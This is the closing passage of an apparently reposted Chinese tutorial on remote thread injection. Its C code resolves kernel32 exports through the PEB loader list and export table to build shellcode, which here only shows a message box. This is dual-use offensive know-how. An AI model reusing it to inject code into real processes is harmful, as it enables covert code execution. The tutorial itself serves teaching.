    pLdteHead = (PLDR_DATA_TABLE_ENTRY)(&pLDR->InLoadOrderModuleList);
    pLdteCur = (PLDR_DATA_TABLE_ENTRY)(pLdteHead->InLoadOrderLinks.Flink);    
    do 
    {        
        PLDR_DATA_TABLE_ENTRY pLdte = CONTAINING_RECORD(pLdteCur, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);        
        char *p1 = szKernel32;
        char *p2 = (char*)pLdteCur->BaseDllName.Buffer;        
        bEqual = FALSE;
        while (1)
        {            
            if (*(PWORD)p1 == 0 && *(PWORD)p2 == 0)
            {
                bEqual = TRUE;
                break;
            }        
            if (TOUPPER(*p1) != TOUPPER(*p2))
            {
                break;
            }
            p1+=2;
            p2+=2;
        }
        if (bEqual)
        {
            hKernel32 = (HMODULE)pLdteCur->DllBase;            
            break;
        }
        pLdteCur = (PLDR_DATA_TABLE_ENTRY)pLdteCur->InLoadOrderLinks.Flink;
    } while (pLdteHead != pLdteCur);

    // 对kernel32.dll进程PE分析,从导出表中获取GetProcAddress地址
    // 利用GetProcAddress得到LoadLibraryA函数地址,从而加载我们需要的User32.Dll到目标进程中
    // 然后我们就可以调取User32.Dll里的MasageBox函数去弹出我们想要的窗口了
    if (hKernel32 != NULL)
    {
        // find GetProcAddress
        PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hKernel32;
        PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)pDosHeader + pDosHeader->e_lfanew);
        PIMAGE_FILE_HEADER pPEHeader = (PIMAGE_FILE_HEADER)((DWORD)pDosHeader + pDosHeader->e_lfanew + 4);
        PIMAGE_OPTIONAL_HEADER32 pOptionHeader = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pPEHeader + sizeof(IMAGE_FILE_HEADER));
        PIMAGE_SECTION_HEADER pSectionHeader = \
            (PIMAGE_SECTION_HEADER)((DWORD)pOptionHeader + pPEHeader->SizeOfOptionalHeader);
        PIMAGE_EXPORT_DIRECTORY pExportDirectory = \
            (PIMAGE_EXPORT_DIRECTORY)((DWORD)hKernel32 + pOptionHeader->DataDirectory[0].VirtualAddress);

        PDWORD AddressOfFunctions = (PDWORD)((DWORD)hKernel32 + pExportDirectory->AddressOfFunctions);
        PDWORD AddressOfNames = (PDWORD)((DWORD)hKernel32 + pExportDirectory->AddressOfNames);
        PWORD AddressOfNameOridinals = (PWORD)((DWORD)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
        int i;
        for (i = 0; i < (int)pExportDirectory->NumberOfNames; i++)
        {
            char *p1 = szGetProcAddress;
            char *p2 = (char *)((DWORD)hKernel32 + AddressOfNames[i]);
            bEqual = FALSE;
            while (1)
            {                
                if (*p1 == 0 && *p2 == 0)
                {
                    bEqual = TRUE;
                    break;
                }                
                if (*p1 != *p2)
                {
                    break;
                }
                p1++;
                p2++;
            }
            if (bEqual)
            {
                //从导出表中获得GetProcAddress地址
                pGetProcAddress = (PGETPROCADDRESS)(AddressOfFunctions[AddressOfNameOridinals[i]] + pOptionHeader->ImageBase);
            }
        }
    }
    else
    {
        return 1;
    }
    // Loadlibrary
    pLoadLibraryA = (PLOADLIBRARYA)pGetProcAddress(hKernel32,szLoadLibrary);    
    // test
    hUser32 = pLoadLibraryA(szUser32);
    pMessageBoxA = (PMESSAGEBOXA)pGetProcAddress(hUser32,szMessageBoxA);
    pMessageBoxA(0,szHelloShellCode,0,MB_OK);

    return 0;
}

void PrintHexArray(PVOID startAddr, size_t nBytes)
{
    for (size_t i = 0; i < nBytes; i++)
    {
        printf("0x%02X, ", ((PBYTE)startAddr)[i]);
        if ((i + 1) % 16 == 0) putchar('\n');
    }
    putchar('\n');
}

 

注入前:

 

 

 注入后:

 



这篇关于远程线程注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程